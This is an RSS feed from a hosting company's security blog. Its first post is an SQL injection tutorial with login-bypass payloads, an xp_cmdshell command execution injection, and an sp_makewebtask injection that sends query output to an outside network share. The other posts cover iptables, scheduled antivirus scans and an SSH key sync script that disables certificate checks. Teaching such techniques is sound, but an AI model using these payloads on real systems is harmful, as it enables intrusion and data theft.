<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>*.hosting &#187; Security</title>
	<atom:link href="http://www.stardothosting.com/blog/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stardothosting.com/blog</link>
	<description>Star Dot Hosting : Technology, Security, Virtualization and Cloud Computing</description>
	<lastBuildDate>Wed, 16 May 2012 19:07:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Security Penetration Testing Series : SQL Injection</title>
		<link>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=security-penetration-testing-series-sql-injection</link>
		<comments>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/#comments</comments>
		<pubDate>Mon, 15 Nov 2010 18:10:29 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Database]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=414</guid>
		<description><![CDATA[I am starting a series of blog posts that detail security related strategies, penetration testing and best practice methodologies. To start our series, I am going to delve into the world of SQL injection techniques and a general overview for those who are looking to learn a little more about this method of injection. There [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>I am starting a series of blog posts that detail security related strategies, penetration testing and best practice methodologies. To start our series, I am going to delve into the world of SQL injection techniques and a general overview for those who are looking to learn a little more about this method of injection.</p>
<p>There is already quite a bit of documentation out there regarding this, so I hope this post isn&#8217;t too redundant. There are a lot of tools out there to assist in accomplishing this task, or at the very least tools that assist in automating the probing and injection of SQL from publicly facing websites, forms and the like.</p>
<p>That tool is SQLMAP (<a href="http://sqlmap.sourceforge.net/" target="_new">http://sqlmap.sourceforge.net/</a>). SQLMAP is an &#8220;open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of back-end database servers.&#8221;</p>
<p>This article does not introduce anything new, SQL injection has been widely written and used in the wild. I thought I&#8217;d write this article to document some of the SQL injection methods and hope that it may be of use to some of you out there in cyberspace.</p>
<p><b>What is SQL injection anyway?</b></p>
<p>It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else. </p>
<p><b>What do you need?</b></p>
<p>Technically all you need is a web browser. </p>
<p><b>What should I look for?</b></p>
<p>Web forms. Any input area of a website that interacts with their database backend. Could be a login form, search form or anything like that.</p>
<p>You could also look for pages that actually have querystrings in the URL such as :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?id=10</div></div>
<p><b>Testing if its vulnerable</b></p>
<p>With those query string URLs or web forms, you could do a simple test to see if its vulnerable to injection. Start with the &#8220;single quote trick&#8221; , something like this :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">hi' or 1=1--</div></div>
<p>For example :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?id=hi' or 1=1--</div></div>
<p>If you do that in a login form for example, if it works, then you will be logged in without any password necessary.</p>
<p><b>Why &#8216; or 1=1&#8211;?</b></p>
<p>Let us look at another example why &#8216; or 1=1&#8211; is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?category=food</div></div>
<p>In the URL, &#8216;category&#8217; is the variable name, and &#8216;food&#8217; is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">v_cat = request(&quot;category&quot;)<br />
sqlstr=&quot;SELECT * FROM product WHERE PCategory='&quot; &amp; v_cat &amp; &quot;'&quot;<br />
set rs=conn.execute(sqlstr)</div></div>
<p>As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food'</div></div>
<p>The query should return a resultset containing one or more rows that match the WHERE condition, in this case, &#8216;food&#8217;.</p>
<p>Now, assume that we change the URL into something like this:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://whatever.com/index.asp?category=food' or 1=1--</div></div>
<p>Now, our variable v_cat equals to &#8220;food&#8217; or 1=1&#8211; &#8220;, if we substitute this in the SQL query, we will have:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food' or 1=1--'</div></div>
<p>The query now should now select everything from the product table regardless if PCategory is equal to &#8216;food&#8217; or not. A double dash &#8220;&#8211;&#8221; tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote (&#8216;). Sometimes, it may be possible to replace double dash with single hash &#8220;#&#8221;.</p>
<p>However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">' or 'a'='a</div></div>
<p>The SQL query will now become:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">SELECT * FROM product WHERE PCategory='food' or 'a'='a'</div></div>
<p>It should return the same result.</p>
<p>Depending on the actual SQL query, you may have to try some of these possibilities:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">' or 1=1--<br />
&quot; or 1=1--<br />
or 1=1--<br />
' or 'a'='a<br />
&quot; or &quot;a&quot;=&quot;a<br />
') or ('a'='a</div></div>
<p><b>Remote execution with SQL injection</b></p>
<p>Being able to inject SQL commands usually means we can execute any SQL query at will.Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">'; exec master..xp_cmdshell 'ping 10.10.1.2'--</div></div>
<p>Try using double quote (&#8220;) if single quote (&#8216;) is not working.</p>
<p>The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#tcpdump icmp</div></div>
<p>If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.</p>
<p><b>Getting the output of my SQL query</b></p>
<p>It is possible to use sp_makewebtask to write your query into an HTML:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">'; EXEC master..sp_makewebtask &quot;\\10.10.1.3\share\output.html&quot;, &quot;SELECT * FROM INFORMATION_SCHEMA.TABLES&quot;</div></div>
<p>But the target IP must folder &#8220;share&#8221; sharing for Everyone. </p>
<p>Hope this helps!</p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;linkname=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_google_plusone addtoany_special_service" data-annotation="none" data-href="http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/"></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F11%2F15%2Fsecurity-penetration-testing-series-sql-injection%2F&amp;title=Security%20Penetration%20Testing%20Series%20%3A%20SQL%20Injection" id="wpa2a_2"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/11/15/security-penetration-testing-series-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrate your custom IPTables script with Linux</title>
		<link>http://www.stardothosting.com/blog/2010/05/11/integrate-your-custom-iptables-script-with-linux/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=integrate-your-custom-iptables-script-with-linux</link>
		<comments>http://www.stardothosting.com/blog/2010/05/11/integrate-your-custom-iptables-script-with-linux/#comments</comments>
		<pubDate>Tue, 11 May 2010 20:25:15 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[systems administration]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=330</guid>
		<description><![CDATA[A custom iptables script is sometimes necessary to work around the limitations of the Red Hat Enterprise Linux firewall configuration tool.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F05%2F11%2Fintegrate-your-custom-iptables-script-with-linux%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F05%2F11%2Fintegrate-your-custom-iptables-script-with-linux%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>How do I integrate my custom iptables script with Red Hat Enterprise Linux?</p>
<p>A custom iptables script is sometimes necessary to work around the limitations of the Red Hat Enterprise Linux firewall configuration tool. The procedure is as follows:</p>
<p>1. Make sure that the default iptables initialization script is not running:</p>
<pre>service iptables stop</pre>
<p>2. Execute the custom iptables script:</p>
<pre>sh [custom iptables script]</pre>
<p>3. Save the newly created iptables rules:</p>
<pre>service iptables save</pre>
<p>4. Restart the iptables service:</p>
<pre>service iptables restart</pre>
<p>5. Verify that the custom iptables ruleset have taken effect:</p>
<pre>service iptables status</pre>
<p>6. Enable automatic start up of the iptables service on boot up:</p>
<pre>chkconfig iptables on</pre>
<p>The custom iptables script should now be integrated into the operating system. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/05/11/integrate-your-custom-iptables-script-with-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Scheduled antivirus scans to prevent viral injections on user generated content</title>
		<link>http://www.stardothosting.com/blog/2010/04/19/linux-antivirus-scheduled-scans-on-user-generated-content/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=linux-antivirus-scheduled-scans-on-user-generated-content</link>
		<comments>http://www.stardothosting.com/blog/2010/04/19/linux-antivirus-scheduled-scans-on-user-generated-content/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 17:50:59 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[antivirus]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=309</guid>
		<description><![CDATA[When dealing with high traffic sites, especially media based or community based sites, there is always the risk of javascript, virus, XSS or other malicious injection of badness when giving a community of users the ability to upload files to your site. There are several things to consider when evaluating all &#8220;points of entry&#8221; that [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>When dealing with high traffic sites, especially media based or community based sites, there is always the risk of javascript, virus, XSS or other malicious injection of badness when giving a community of users the ability to upload files to your site.</p>
<p>There are several things to consider when evaluating all &#8220;points of entry&#8221; that are available to the public, into your systems.</p>
<p>Most content management and community based systems use libraries such as <a href="http://www.imagemagick.org/script/index.php" target="_new">Imagemagick</a> to process images (such as profile pictures) into their proper format and size.</p>
<p>Believe it or not, it is hard to actually inject code or other malicious data into the actual image to survive this sanitizing process. There is still risks , however. The library version you are running may be <a href="http://www.milw0rm.com/exploits/3946" target="_new">vulnerable</a> to exploits itself. </p>
<p>As always, a good rule of thumb is to ensure all possible aspects of your systems are up to date and that you are aware of any security vulnerabilities as they come out so they can either be patched or addressed in some other way.</p>
<p>One thing to consider, especially when dealing with thousands of users and even more uploads is a scheduled scan of your user uploads using free virus scanning tools such as <a href="http://www.clamav.net/lang/en/" target="_new">clamscan</a>. This is an endpoint reporting strategy that can at least cover your ass in the event that something else was missed or a 0day vulnerability exploited.</p>
<p>It should be noted that the virus scans themselves aren&#8217;t intended to protect the linux systems themselves, but rather the opportunistic &#8216;spreading&#8217; of compromised images and code that having an infected file on a public community based system can provide.</p>
<p>Its very simple to implement clamav (daemonization is not necessary), clamscan is all we need to execute regular scans at 10, 15, 30 or 60 minute intervals.</p>
<p>Once clamscan is implemented, definitions updated (and regular update cronjobs in place) you can roll out a script similar to the one we have here to implement the scheduled scans :</p>
<pre>
#!/bin/bash
# Scheduled Scan of user uploaded files
# Usage : ./virusscan.sh /folder

SUBJECT="[VIRUS DETECTED] ON `hostname` !"
EMAIL="you@yourdomain.com"
LOG=/var/log/clamav/scan.log

# Clear out old logs -- the email alerts should be archived if we need to go back to old alerts
echo "" > $LOG

# Check if the folder is empty -- only scan if this is an active node in a clustered system
# look for empty dir
if [ "$(ls -A $1)" ]
then
        # Scan files
        clamscan $1 -r --infected --scan-pdf --scan-elf --log=$LOG

        # Check the last set of results. If there are any "Infected" counts that aren't zero, we have a problem.
        cat $LOG | grep Infected | grep -v 0
        if [ $? = 0 ]
        then
                cat $LOG | mail -s "$SUBJECT" $EMAIL -- -F Antivirus -f antivirus@yourdomain.com
        fi

else
        echo "directory empty -- doing nothing"
        exit 0;
fi
</pre>
<p>The actual cronjob entry can look something like this :</p>
<pre>
0 */1 * * * /bin/bash /usr/local/bin/virusscan.sh "/your/path/to/user/uploaded/files/" > /dev/null 2>&#038;1
</pre>
<p>It seems like a rather simple solution &#8212; but it does provide a venue for additional sanitizing of user input. In our experience , it is best to only report on anything that clamscan might find. You can, however tell clamscan to simply delete any suspected infections it finds.</p>
<p><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F&amp;linkname=Scheduled%20antivirus%20scans%20to%20prevent%20viral%20injections%20on%20user%20generated%20content" title="Digg" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F&amp;linkname=Scheduled%20antivirus%20scans%20to%20prevent%20viral%20injections%20on%20user%20generated%20content" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_reddit" href="http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F&amp;linkname=Scheduled%20antivirus%20scans%20to%20prevent%20viral%20injections%20on%20user%20generated%20content" title="Reddit" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/reddit.png" width="16" height="16" alt="Reddit"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F&amp;linkname=Scheduled%20antivirus%20scans%20to%20prevent%20viral%20injections%20on%20user%20generated%20content" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_google_plusone addtoany_special_service" data-annotation="none" data-href="http://www.stardothosting.com/blog/2010/04/19/linux-antivirus-scheduled-scans-on-user-generated-content/"></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2010%2F04%2F19%2Flinux-antivirus-scheduled-scans-on-user-generated-content%2F&amp;title=Scheduled%20antivirus%20scans%20to%20prevent%20viral%20injections%20on%20user%20generated%20content" id="wpa2a_4"><img src="http://www.stardothosting.com/blog/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2010/04/19/linux-antivirus-scheduled-scans-on-user-generated-content/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Script to distribute SSH Keys across many servers</title>
		<link>http://www.stardothosting.com/blog/2009/12/07/script-to-distribute-ssh-keys-across-many-servers/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=script-to-distribute-ssh-keys-across-many-servers</link>
		<comments>http://www.stardothosting.com/blog/2009/12/07/script-to-distribute-ssh-keys-across-many-servers/#comments</comments>
		<pubDate>Mon, 07 Dec 2009 16:29:15 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Shell Scripting]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[ssh key distribution]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=249</guid>
		<description><![CDATA[The idea behind this script is to have a centralized, highly secure and restricted key repository server. Each server in your environment would run this script to "pull" the updated key list from the central server. The script would run as a cron job and can run as often as you like. Ideally every 5-10 minutes would allow for quick key updates / distribution.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F12%2F07%2Fscript-to-distribute-ssh-keys-across-many-servers%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F12%2F07%2Fscript-to-distribute-ssh-keys-across-many-servers%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Hello once again!</p>
<p>You may remember an <a href="http://blog.stardothosting.com/2009/06/02/ssh-key-based-authentication/" target="_new">earlier post</a> that detailed how to implement SSH Key based authentication.</p>
<p>We believe it is important, when administering many (sometimes hundreds or thousands) of servers, to implement a strategy that can allow systems administrators to seamlessly run scripts, system checks or critical maintenance across all the servers.</p>
<p>SSH Key authentication allows for this potential. It is a very powerful strategy and should be maintained and implemented with security and efficiency as a top priority.</p>
<p>Distributing keys for all authorized systems administrators is something that would allow for the maintenance of this authentication system much easier &#8212; when an admin leaves or is dismissed, you need to be able to remove his or her&#8217;s keys from the &#8220;pool&#8221; quickly.</p>
<p>The idea behind this script is to have a centralized, highly secure and restricted key repository server. Each server in your environment would run this script to &#8220;pull&#8221; the updated key list from the central server. The script would run as a cron job and can run as often as you like. Ideally every 5-10 minutes would allow for quick key updates / distribution.</p>
<p>Here is the perl script :</p>
<pre>
#!/usr/bin/perl
#
# A script to sync ssh keys on UNIX servers automatically.  This
# will not overwrite user installed ssh keys
#

use strict;
use IPC::Open3;
use File::Copy;

use POSIX ":sys_wait_h";

# This is overkill but FreeBSD may install wget in
# /usr/local/bin in some cases.
$ENV{PATH} = "/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin";

####################################################

use constant URL => 'https://keys.yoursite.com/ssh-keys.txt';
use constant WGET => 'wget --no-check-certificate -q -O - ';
use constant KEYS_FILE => '/root/.ssh/authorized_keys';
use constant RESTRICTED => 'https://keys.yoursite.com/restricted.txt';

####################################################

my ($url, $wget, $keys_file, $restricted, %restrict);

for (my $i=0;$i<scalar @ARGV;$i++) {
        my $arg = $ARGV[$i];
        $arg =~ s/^-//;
        if ($arg eq 'k') {
                $keys_file = $ARGV[++$i];
        } elsif ($arg eq 'u') {
                $url = $ARGV[++$i];
        } elsif ($arg eq 'h') {
                usage();
        } elsif ($arg eq 'r') {
                $restricted++;
        } else {
                print STDERR "Unknown argument: $ARGV[$i]!\n";
        }
}

$wget = $wget ? $wget : WGET;
$url = $url ? $url : URL;
$keys_file = $keys_file ? $keys_file : KEYS_FILE;

$wget = "$wget $url";

####################################################

# reading fds
my $rdr;

# Buffer for Company keys
my $company_keys;

# Buffer for user installed keys
my $user_keys;
my $pid;

if ($restricted) {
        $pid = open3(\*WTR, \*RTR, \*ERR, "@{[WGET]} @{[RESTRICTED]}");

        while (<RTR>) {
                chomp;
                $restrict{$_}++;
        }
}

$pid = open3(\*WTR, \*RTR, \*ERR, "$wget");

while (<RTR>) {
        next if $restrict{$1};
        $company_keys .= $_;
}

$user_keys = read_key_file();

# Sanity check
my @rows = split('\n', $company_keys);

if (scalar @rows < 1) {
        print "Less than 1 company keys found, not installing keys..\n";
        exit(1);
}

open(TMP, ">$keys_file.$$.tmp") or die "Could not open tmp keys file: $!\n";
print TMP $company_keys;
print TMP $user_keys;
close(TMP);

# Sanity check

my (undef,undef,undef,undef,undef,undef,undef,$size,undef,undef,undef,undef,undef) = stat("$keys_file.$$.tmp");

if ($size < 100) {
        print "Keys file less than 100bytes, not writing";
        exit(1);
}

move("$keys_file.$$.tmp", $keys_file);

sub read_key_file {
        my $user_buf;

        open(KEY_FILE, "< $keys_file") or die "Could not open ssh key file; $!\n";

        while (<KEY_FILE>) {
                next if $_ =~ /company$/;
                $user_buf .= $_;
        }

        close(KEY_FILE);
        return($user_buf);
}

sub sig_chld {
        my $pid = waitpid(-1, WNOHANG);
}

sub usage {
        print STDERR <<"EOS";

        Usage: $0 -[kuh]

                -k <file>       Keys file to write to (default: @{[KEYS_FILE]})
                -u <url>        URL to download keys from (default: @{[URL]})
                -h              This screen

EOS
        exit(1);
}

1;

__END__
</pre>
<p>Note that it downloads the <b>public</b> keys via http with <b>wget</b>. This can be easily modified to utilize https, if necessary, or perhaps even another protocol to make the transfer. HTTP Was chosen because the public keys are harmless and http is the easiest method. HTTPS would be desirable, however.</p>
<p>We hope this script helps you along the way towards making your life easier! <img src='http://www.stardothosting.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.stardothosting.com/blog/2009/12/07/script-to-distribute-ssh-keys-across-many-servers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Shell Script to Report On Hacking Attempts</title>
		<link>http://www.stardothosting.com/blog/2009/08/12/freebsd-pf-packet-filter-shell-script-to-report-on-hacking-attempts/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=freebsd-pf-packet-filter-shell-script-to-report-on-hacking-attempts</link>
		<comments>http://www.stardothosting.com/blog/2009/08/12/freebsd-pf-packet-filter-shell-script-to-report-on-hacking-attempts/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 13:59:34 +0000</pubDate>
		<dc:creator>Kevin</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[alerting]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.stardothosting.com/?p=173</guid>
		<description><![CDATA[It is always a good idea , when implementing open source firewall implementations (iptables, pf, etc), to build in as much reporting and verbosity as possible. Somewhere along the line, we wrote a script to provide daily reports on intrusion attempts to penetrate our network -- this usually happens when someone exceeds certain connection thresholds.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F08%2F12%2Ffreebsd-pf-packet-filter-shell-script-to-report-on-hacking-attempts%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.stardothosting.com%2Fblog%2F2009%2F08%2F12%2Ffreebsd-pf-packet-filter-shell-script-to-report-on-hacking-attempts%2F&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
